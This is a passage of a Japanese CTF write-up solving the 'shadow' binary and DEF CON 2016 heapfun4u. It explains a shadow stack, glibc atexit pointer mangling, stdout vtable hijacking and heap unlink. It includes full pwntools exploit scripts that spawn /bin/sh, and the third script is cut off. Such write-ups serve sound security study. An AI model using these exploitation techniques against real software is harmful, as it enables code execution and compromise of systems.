Message lengthでは、負数を受け付けていたのでここから、BOFさせて、色々することができる。例えば様々なアドレスのleakを行うことができる。中でも、input name pointerを書き換えて任意のアドレスにするとそこに書き込むことができ、そこのアドレスの中身をleakすることもできる。(nameはInput messageを行うたびに表示されることを利用して)
この状況から、1回目でcanary leak, 2回目でlibc base leak 3回目でreturn書き換えてROPさせれば終了じゃん!と思って実行させたら、上手くいかなかった。どうやら今回はこのやり方では上手くいかないらしい。仕方ないので詳しく見ていくと何やら奇妙な動きをしている関数があった。どんな関数を呼ぶときもcall, returnする前はret, stackにpush, popを行うときもpush, popと言われるような関数を使っているようだった。つまり、message関数のreturn addressを書き換えたとしてもret関数によって元に戻される仕組みになっていた。
とりあえず、ret関数から見ていくとpop関数が呼ばれているだけであったため、pop関数をみると、shadow_init関数から呼ばれているような.bss sectionに存在しているグローバル変数(gs20h_addr)を見つけた。ここにどうやら、gs:20hに入っている値を保存しているようだった。そして次の命令でこれもshadow_init関数から呼ばれているようなグローバル変数stack_bufを見つけた。以下の命令でもあらゆる場所で見かけるため、どうやらこの二つは今回重要らしい。
この二つは何なのか調べるためにshadow_initを見てみることにした。

push    ebp
mov     ebp, esp
sub     esp, 28h
mov     dword ptr [esp+14h], 0 ; offset
mov     dword ptr [esp+10h], 0FFFFFFFFh ; fd
mov     dword ptr [esp+0Ch], 22h        ; flags
mov     dword ptr [esp+8], 0            ; prot
mov     dword ptr [esp+4], 1000h        ; len
mov     dword ptr [esp], 0              ; addr
call    _mmap
mov     ds:stack_buf, eax
mov     eax, ds:stack_buf
add     eax, 1000h
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
leave
retn

どうやら、mmapを行って、アドレスを確保した奴をStack_bufに入れ、そこから1000h加算されたアドレスを一旦、グローバル変数(gs20h_addr)に入れて、全く同じものをgs:20hに入れているようだった。詳しくret関数を見ていこう。

mov     eax, [esp+arg1]
mov     rval, eax       ; 第一引数
call    pop
mov     [ebp+0], eax    ; saved ebp
mov     eax, offset restore_eip
mov     [ebp+4], eax
retn

引数から察するに、offset restore_eipのせいでreturn addressが書き換わっていたことが分かった。しかし、ここを書き換えることはアドレスの位置的に不可能である。仕方がないため、pop関数を詳しく見ていこう。以下は重要な部分を抜粋している。

mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 1     ; prot read only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     eax, [eax]               ; eax = *gs20h_addr
mov     [ebp+gs20h_value], eax   ;gs20h value
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
add     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
mov     eax, [ebp+gs20h_value]
mov     [esp], eax
call    enc_dec
leave
retn

stack_bufから1000hまでをread onlyにしてからgs20h_addrを読み取り、stackにgs20hの値を入れる。そして、再びアクセス不可にする。その後、その値を使ってenc_dec関数を実行している。enc_dec関数を見てみよう。

push    ebp
mov     ebp, esp
mov     eax, [ebp+arg1]
xor     eax, large gs:18h
pop     ebp
retn

stackに積んである第一引数とgs:18hの値とxorを取って終了している。eaxは最終的にreturn addressの直前にstackされる。return addressはoffsetとして用意されている。
これではまだ、よくわからないため、他にまだ見ていないcall関数があるため、そっちを見てみよう。

push    ebp
mov     ebp, esp
sub     esp, 4
mov     eax, [ebp+4]         ; return address
mov     [esp], eax
call    push
mov     eax, [ebp+var_0]
mov     [esp], eax
call    push
mov     eax, [ebp+arg_0]     ; 第一引数
mov     edx, offset ret_stub 
mov     [ebp+arg_0], edx     
leave
add     esp, 4
jmp     eax                  ; 第一引数に飛ぶ

第一引数が格納されているstackにoffset ret_stubというものが格納されるらしい。これだけではよく分からないため、順を追ってデバッグしていこう。まずは、push関数からである。以下は重要なところだけを抜粋した。

mov     eax, ds:gs20h_addr
sub     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 2     ; prot write only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     ebx, ds:gs20h_addr
mov     eax, [ebp+arg_0]         ; 第一引数
mov     [esp], eax
call    enc_dec
mov     [ebx], eax               ; gs20h_addr = arg1 xor gs18h
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
add     esp, 14h
pop     ebx
pop     ebp
retn

write onlyにしたあと、enc_dec関数を実行した結果をグローバル変数に格納してるポインタに格納している。
さて、以上を踏まえて、攻撃方法を考えた結果、gs:20hを書き換えるのが良いと判断した。しかし、肝心の書き換え方法がよくわからなかったため、Write upを確認するとどうやら三つの方法があることが分かった。その三つを以下に示す。
1. gs:18hをleakして、system関数を引数と一緒にatexit関数に登録する。
2. gs:20hとgs:18hを書き換える
3. IO_stdoutを使う。

以下は参考になった資料である。とても参考になりました。誠にありがとうございます。

shift-crops.hatenablog.com

1.atexit関数を用いた攻撃

今回は、1を紹介する。まず、gs:18hのleak方法だが、これはret関数が使われたときにstackに格納されているenc_decされた値から、enc_decされる前の値とxorを取って特定する。次に、atexit関数に登録する方法だが、これはatexit関数がどんなライブラリ関数なのかを説明してから話す。
atexit関数は、exit関数が呼ばれたときに、atexit関数で登録された関数がLIFOの順番で呼ばれる。最大で32個まで登録ができる。「登録する関数は引数なし」となっているが、正確には違う。glibcソースコードを見てみよう。

// stdlib\atexit.c

atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
               &__dso_handle == NULL ? NULL : __dso_handle);
}

atexitの中を見ると別の関数であるcxa_atexitが呼ばれている。しかも、引数が増えている。これはどういうことだろう?cxa_atexitのソースを見てみよう。

// stdlib\cxa_atexit.c

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}

私は、ここで登録する関数の引数は取るということが分かった。atexitがよばれて、cxa_atexitの第二引数がNULLになっているのがわかるだろうか?ここでわざと引数を与えないように制御しているようだった。さらに詳しく見ていくために、同じソースコード内にある、internal_atexitを見ていこう。

int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
           struct exit_function_list **listp)
{
  struct exit_function *new = __new_exitfn (listp);

  if (new == NULL)
    return -1;

#ifdef PTR_MANGLE
  PTR_MANGLE (func);
#endif
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  atomic_write_barrier ();
  new->flavor = ef_cxa;
  return 0;
}

見たことがない二つの構造体、exit_function_list、exit_functionががあるためその二つも見てみよう。

// stdlib\exit.h

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
    void (*at) (void);
    struct
      {
        void (*fn) (int status, void *arg);
        void *arg;
      } on;
    struct
      {
        void (*fn) (void *arg, int status);
        void *arg;
        void *dso_handle;
      } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

この二つの構造体で分かったことは、関数が最大で32個登録できるのはexit_function_list構造体の中にあるexit_function構造体の配列で最大32個と決まっていたということ。今回はunionではcxa構造体が使われるということが分かった。話を戻して、internal_atexitで、exit_function_listがダブルポインタになっている理由は一つ目のポインタで32個分(正確には登録されている分)のlist addressを管理して、次のポインタでそれぞれのlistのexit_function_list構造体の値を保持していることが分かる。
そして、もう一つ
internal_atexitできになることは、PTR_MANGLEという定義である。なにかしら登録する関数に対して処理をしているように見える。これを詳しく見てみよう。

# ifdef __ASSEMBLER__
#  define PTR_MANGLE(reg)  xor __pointer_chk_guard_local(%rip), reg;    \
               rol $2*LP_SIZE+1, reg

GAS表記のアセンブリ言語で書かれている。ここでは何をしているのかというと、__pointer_chk_guard_localというものとxorを取っている。実はこれgs:18hの値である。つまり、登録される関数のポインタはここでxorされるのである。そして、xor取った値をさらにLP_SIZEは4であるから、2*4+1 = 9左にシフトしている。
これらを踏まえてうえで、どのようにしてatexit関数に登録すればよいのか考えてみよう。まずは、exit関数が動く部分である。

   0xf7e387c3 <exit+19>:  push   0x1
   0xf7e387c5 <exit+21>: push   eax
   0xf7e387c6 <exit+22>: push   DWORD PTR [esp+0x1c]
=> 0xf7e387ca <exit+26>: call   0xf7e38690
   0xf7e387cf:  nop
   0xf7e387d0 <on_exit>:  push   ebx
   0xf7e387d1 <on_exit+1>:   call   0xf7f270d5
   0xf7e387d6 <on_exit+6>:   add    ebx,0x18182a
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xf7fba3dc --> 0xf7fbb1e0 --> 0x0 
arg[2]: 0x1 

atexit list
gdb-peda$ x/10wx 0xf7fba3dc
0xf7fba3dc:    0xf7fbb1e0 0xf7fbb400 0xf7fba070 0xf7fba064
0xf7fba3ec:    0xf7fba064 0x00000003 0x0000001f 0x00000003
0xf7fba3fc:    0xf7fba0e0 0xf7fb8a64

list[0]
gdb-peda$ x/10wx 0xf7fbb1e0
0xf7fbb1e0:    0x00000000 0x00000001 0x00000004 0xe71860eb
0xf7fbb1f0:    0x00000000 0x00000000 0x00000000 0x00000000
0xf7fbb200:    0x00000000 0x00000000

atexitが呼ばれる直前の状態である。ここの第2引数からatexit listのポインタが格納されていることが分かる。そこからlist[0]のアドレスを見るとすでに登録されていることが確認できる。今回はこのlist[0]に登録するように仕向ける。登録方法を以下に示す。

  • atexit listアドレスがあるstack addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスがあるatexit list addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスをinput name pointerにBOFさせておいてchange nameでyを選択してinput nameで値を登録する。(このとき、input nameのサイズはBOFさせて変えておく)

  • 登録する値は*next = NULL, idx = 2(systemと/bin/shの二つ分), flavor = 4(long intで固定), func = (system ^ gs:18h) << 9, arg = /bin/sh address, dso_handle = NULL
    さて、これらから実際に攻撃の手順を考えていきましょう!

  • Input messageでBOFさせてcanaryをleakする。

  • Input messageで改行なしでsendしてold ebpなどをleakする。

  • Input messageでlibc baseを適当なGOT addressからinput name pointerにBOFさせておいてleakする。このとき、name size, ループカウンタの制限を適当な数値で増やしておく。

  • gs:18hをold ebpを使ってleakする。(ret関数が使われた形跡がstack内に残っているため、そこからleakする)

  • atexitに登録する。

  • canaryをもとに戻し、ループのカウンタを0にして正常に終了させる。(stackが壊れるとabortしてatexitが呼ばれなくなるため)

これらをまとめたものが以下のexploit codeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
atexit    = libc_base + libc.symbols['atexit']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)

# 4th leak gs:18h
gs18h = read_address(saved_ebp-0x3c) ^ elf.symbols['main']+0x54
log.info('gs18h :0x%08x' % gs18h)

# 5th leak atexit list pointer
atexit_list = read_address(saved_ebp+0x14)
log.info('atexit_list :0x%08x' % atexit_list)

# 6th leak atexit list[0]
atexit_list_arr = read_address(atexit_list)
log.info('atexit_list_arr :0x%08x' % atexit_list_arr)

# 7th set atexit list[0] address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(atexit_list_arr)          # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 8th overwrite atexit list[0] array
conn.recvuntil('Input name : ')
arr_atexit = p32(0)
arr_atexit += p32(2)
arr_atexit += p32(4)
arr_atexit += p32(rol(system^gs18h, 9, 32))
arr_atexit += p32(binsh)
arr_atexit += p32(0)
conn.send(arr_atexit)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 9th set finish
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 32
payload += p32(canary)                # canary
payload += p32(0xdeadbeef) * 4        # padging
payload += p32(input_name_addr)       # name ptr
payload += p32(0x0)                   # name length input
payload += p32(0x0)                   # loop counter limit
conn.send(payload)
conn.interactive()

【総評】glibcを見ることの大切さを学んだ。

2.IO_stdoutを用いた攻撃

libcのstdin/stdoutにはJump table と言われる関数群を持っています。下に記載するURLに詳しく、載っています。
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
f:id:shimasyaro:20170511174626p:plain
とりあえず、デバッグしてどのような様子か確かめてみましょう。
f:id:shimasyaro:20170511180641p:plain
これがstdoutを表示した様子です。赤枠で囲った部分がjump tableアドレスになります。今度はそこを見ていきましょう。
f:id:shimasyaro:20170511180918p:plain
これが、jump tableです。赤枠で囲った部分IO_file_xsputnを今回は書き換えることを目的として攻撃を考えてみたいと思います。
そもそも、
IO_file_xsputnとは、なんでしょうか?これは出力系の関数が使われるときに必ず使用される関数です。そのため、今回はprintfが使われたときに内部関数として_IO_file_xsputnというのが現れます。この攻撃はglibc-2.24以降ではチェック機構が存在しているため、書き換えることができません。
どうやら書き換えることができるそうです。下の引用を参考にお願いします。(適当なことを書いて申し訳ございませんでした。)


詳しくはglibcの/libio/libioP.hのIO_validate_vtableを見てください。参考までに特に重要な部分を抜粋して載せておきます。glibc-2.25です。

glibc/libio/libioP.h
398: #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
191: #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
140: #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
133: # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

931: static inline const struct _IO_jump_t *
932: IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

119: #define _IO_JUMPS_FILE_plus(THIS) \
120:   _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

343: struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

114: #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
308: struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

さて、実際に攻撃方法を考えてみましょう。今回は以下のような攻撃でいきます。

  • libc のleak

  • stdoutの実体である、IO_2_1_stdoutを割り出し、そこからIO_2_1_stdout+0x94にある、jump tableのアドレスを書き換え可能な領域のアドレス(例えば、.bssなど)に変更する。

  • 書き換え可能な領域のアドレス+0x1cにROPのアドレスを入れる。

書き換え方法などは1.atexit関数を用いた攻撃を参考にしてほしい。肝心のexploit codeだが、ROPは発動しているが、そこからつなげる攻撃が上手くいっていないため、あくまで参考までにしてほしい。

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')
bss = 0x804a020

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
stdout    = libc_base + libc.symbols['_IO_2_1_stdout_']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)
log.info('stdout address:0x%08x' % stdout)

# 4th set bss+0x1c address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(bss+0x1c)                 # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 5th overwrite bss+0x1c array
conn.recvuntil('Input name : ')
payload = p32(system)
conn.send(payload)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 6th set bss address in jump table
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(stdout+0x94)              # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 7th set finish
conn.recvuntil('Change name? (y/n) : ')
conn.send('y\n')
conn.recvuntil('Input name : ')
payload = p32(bss)
conn.send(payload)
conn.recvall()

以下は攻撃の様子です。
f:id:shimasyaro:20170511184010p:plain
f:id:shimasyaro:20170511184226p:plain

【総評】ROP ROP pain

DEF CON CTF Qualifier 2016 heapfun4u

今回の問題はELF-64bitでxinetd型であった。今回の問題は脆弱性としてUAF(Use After Free)というheapの構造を利用した攻撃だ。この攻撃は現実の攻撃でも行われる攻撃であるが、このUAFは全体の動きを細かく把握してからではないと攻撃することが難しい。
私は今回、全体の動きを細かく把握するのにかなり苦労した。特に、Freeの処理がどのように行われているのかを把握するのに、多くの時間を費やした。しかし、そのおかげもあって、UAFがどのような攻撃であるかを実際にやってみることで、少し理解が進んだ。
実際のglibc mallocの動きとは少し違う部分もあるが、この問題で、UAFを把握するのにはとても良い問題であることを私は感じた。
特に、今回はUAFを理解するために、以下の資料を参考させていただきました!誠にありがとうございます!

speakerdeck.com

さて、ではさっそく問題のほうを見ていきましょう。

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ checksec --file heapfun4u 
[*] '/home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ ./heapfun4u 
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 16
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 32
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7f6970480008 -- 16
2) 0x7f6970480020 -- 32
Index: 1

まあ、今回はheap領域であるため、実際には実行権限があるかわからないため、実際にデバッグしながら見てみましょう。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00402000         r-xp    /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00601000         0x00602000         r--p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00602000         0x00603000         rw-p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00007ffff7a12000 0x00007ffff7bd0000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fdb000 0x00007ffff7fde000 rw-p  mapped
0x00007ffff7ff7000 0x00007ffff7ff8000 rwxp    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 rw-p  mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

実際にheap領域に確保するようにしたら、どうやら、mmapで実行権限付きでheapをとっているようだった。とりあえず、適当にheapとfreeを繰り返して、デバッグをしてみた。

1.alloc(16), 2.alloc(128), 3.alloc(16)
1.free(16), 2.free(128)

gdb-peda$ x/30gx 0x00007ffff7ff7000
0x7ffff7ff7000:    0x0000000000000012 0x00007ffff7ff70b8
0x7ffff7ff7010:    0x00007ffff7ff7018 0x0000000000000082
0x7ffff7ff7020:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7030:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7040:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7050:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7060:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7070:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7080:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7090:    0x00007ffff7ff7000 0x0000000000000000
0x7ffff7ff70a0:    0x0000000000000013 0x0000000000000000
0x7ffff7ff70b0:    0x0000000000000000 0x0000000000000f40
0x7ffff7ff70c0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70d0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70e0:    0x0000000000000000 0x0000000000000000

三つほど、allocateしてそれをallocateした順番に二つFreeしたものである。これからわかることは、1.free(16)を行ったときに直下のchunkがallocateされているため、unlinkすることなく、free listに繋がっている。そして、二つ目の2.free(128)を行ったときは、free listをつなぎ変えていた。
これからをまとめると、以下のようなchunk,freeの動きになっている。
f:id:shimasyaro:20170417174834p:plain
freeの動き

  • SIZEの1bit目はallocateされているかどうか、2bit目はmmap領域を使っているかどうか(今回は使っているため、常にbitが立っている)、3bit目は使われてなかった。

  • free listはfreeされた順番でつながっている。つぎallocateされるときは一番後にfreeされたものからfirst matchで探していく。つまりLIFO(Last In First Out)で探す。

という動きになっていることが分かった。(本当はデバッグしながら探しまくる)ここまで分かったところで、今回のバグを探してみるが、色々簡単に見つかった。

  • [F]ree Bufferを行っても、一回allocateされている場所はずっとfreeできるようになっている。

  • [N]ice guyでstack addressのleakができる。

  • heapのアドレスを表示しているため、どこにDataが格納されているかわかる。

これらを上手く利用して、攻撃を組み立てなければならない。しかし、私はこの時点でどのように攻撃をすればいいのかさっぱりわからなかったため、write upをみることにした。するとUAFを使った面白い攻撃をしていたため、さっそく紹介する。
まず、今回重要になるのが、unlink処理の部分だ。つまり、「直下のchunkがFreeであるという状況」が重要となる。今回のFreeのunlink処理を見てみよう。

mov     rax, [rbp+p_fd]
mov     rdx, [rax]
mov     rax, [rbp+p_fd]
mov     rax, [rax]
mov     rax, [rax]             ; P->fd->size
and     rax, 0FFFFFFFFFFFFFFFCh
sub     rax, 8
add     rax, rdx               ; P->fd + P->fd->size
mov     [rbp+fd_fd], rax       ; P->fd->fd
mov     rax, [rbp+fd_fd]
mov     rdx, [rbp+size_addr]
mov     [rax+8], rdx           ; P->fd->fd+8 = P

rbp+p_fd(P->fd)と書かれているものが、直下のfree chunkのfdポインタが入っている。このfdポインタとfdポインタ先のSIZEを足すことによって次のfree listのポインタに移動する。そしてrbp+fd_fd(P->fd->fd)ポインタから+8されたところを書き換えるような動きをしている。
今回はこの動きを利用して以下のようにchunkの配置を行う。
f:id:shimasyaro:20170418093417p:plain

  • まず、Buffer1,Buffer2,Buffer3をそれぞれ確保した後、Buffer2,Buffer1の順番で開放する。

  • Buffer4を確保したら、書き込みを行い、上記のような配置でchunkを配置する。

  • Buffer2を再び開放して、unlink attackを行い、return addressをBuffer2(FAKE_SIZE)のアドレスに書き換える。

  • Buffer4で書き込みを行い、Buffer2(FAKE_SIZE)のアドレスの部分にshellcodeを置く。

  • [E]xitを行って、main関数の returnをさせて、shellcodeを起動させる。

以上が攻撃の流れになる。私が頭を抱えたのがreturn+8になっているので-8にしてoffsetを取っていたが、どうやら意図的にずらしているようだった。(もしかしたら、自分の計算ミス、構造把握ミスがあるため、なんともいえない)
とりあえず、こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
shellcode = asm(shellcraft.sh())

conn = process('./heapfun4u')
print "[+] connect to local\n"

def alloc(size):
    conn.recvuntil('| ')
    conn.sendline('A')
    conn.recvuntil('Size: ')
    conn.sendline(size)

def free(index):
    conn.recvuntil('| ')
    conn.sendline('F')
    conn.recvuntil('Index: ')
    conn.sendline(index)

def write(index, buf):
    conn.recvuntil('| ')
    conn.sendline('W')
